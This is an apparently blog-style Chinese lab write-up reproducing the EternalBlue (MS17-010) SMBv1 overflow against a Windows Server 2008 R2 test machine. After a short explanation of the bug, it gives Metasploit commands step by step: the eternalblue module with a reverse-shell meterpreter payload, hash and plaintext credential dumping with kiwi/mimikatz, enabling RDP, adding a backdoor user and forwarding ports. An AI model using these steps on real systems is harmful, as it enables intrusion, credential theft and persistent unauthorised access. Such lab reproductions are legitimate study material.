CVE-2017-0143(远程溢出)漏洞复现

漏洞原理

MS17-010 漏洞出现在 Windows SMB v1 中的内核态函数 srv!SrvOs2FeaListToNt 在处理 FEA(File Extended Attributes) 转换时,在大非分页池 (Large Non-Paged Kernel Pool)上存在缓冲区溢出。

函数 srv!SrvOs2FeaListToNt 在将 FEA list 转换成 NTFEA(Windows NT FEA) list 前会调用 srv!SrvOs2FeaListSizeToNt 去计算转换后的 FEA lsit 的大小,因计算大小错误,而导致缓冲区溢出。

影响版本

Windows 版本包括但不限于:

WindowsNTWindows2000Windows XPWindows 2003

Windows VistaWindows 7Windows 8Windows 2008

Windows 2008 R2Windows Server 2012 SP0

漏洞利用

在现在来说永恒之蓝漏洞算是有点老的漏洞了,Metasploit 上已经有集成 payload 了,但是其危害确实是很大的,因为只要用它打进去似乎直接就是 system 权限,所以还是拿出来复现了一下。

没打 cve-2017-0143 漏洞的补丁的机器,都可以尝试。

环境

攻击机:kali (192.168.1.58)
目标机:Windows Server 2008 R2 Standard 7601 Service Pack 1 (192.168.1.108)

漏洞利用

端口扫描查看目标机开 455 端口没,没开就不用考虑下一步了 image

然后就是直接启用 msf,去查 cve-2017-0143 的集成模块search cve-2017-0143

1
2
3
4
5
6
7
8
9
msfconsole										    # 进入框架
search ms17_010                                     # 使用 search 命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用 use 进入模块
info     										    # 使用 info 查看模块信息
set payload windows/x64/meterpreter/reverse_tcp    	# 设置攻击载荷
show options    									# 查看模块需要配置的参数
set RHOST 192.168.100.158    					    # 设置参数
exploit / run     								    # 攻击
后渗透阶段											# 后渗透阶段

image image image

是能看到目标机上的永恒之蓝漏洞是可以利用的,接下来就是使用攻击模块了

1
use exploit/windows/smb/ms17_010_eternalblue

同时选择载荷(shell code),这里用的是回连至客户端(shell) 的 payload

1
set payload windows/x64/meterpreter/reverse_tcp

image

这里我用的本地监听端口是 8888,默认是 4444,然后直接run就行了

image image

这里能看到进来直接就是 system 权限。

如果目标机还开了 3389 端口的话,还可以尝试去获取用户登录密码。
先用 hashdump 获取 hash 值。

mimikatz 是一个知名的密码提取神器。它支持从 Windows 系统内存中提取明文密码、哈希、PIN 码和Kerberos 凭证等,meterpreter 中集成了这款工具

执行 load kiwi 即可加载该工具,然后运行命令 creds_all, 导出 hash

image image

1
creds_all

image

拿到用户登录的账户密码就可以尝试远程连接了,如果连接请求被拦截了,可以尝试将端口转发到攻击机的本地端口进行连接

1
rdesktop 127.0.0.1 -u 用户名 -p 密码

碰到 Core(error): tcp_connect(), unable to connect to 192.168.1.108 这种情况,那就是防火墙没有开启,使用 enable_rdp 脚本开启

1
2
3
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

该脚本位于 /usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb

通过 enable_rdp.rb 脚本可知:

  1. 开启 rdp 是通过 reg 修改注册表

  2. 添加用户是调用 cmd.exe 通过 net user 添加

  3. 端口转发是利用的 portfwd 命令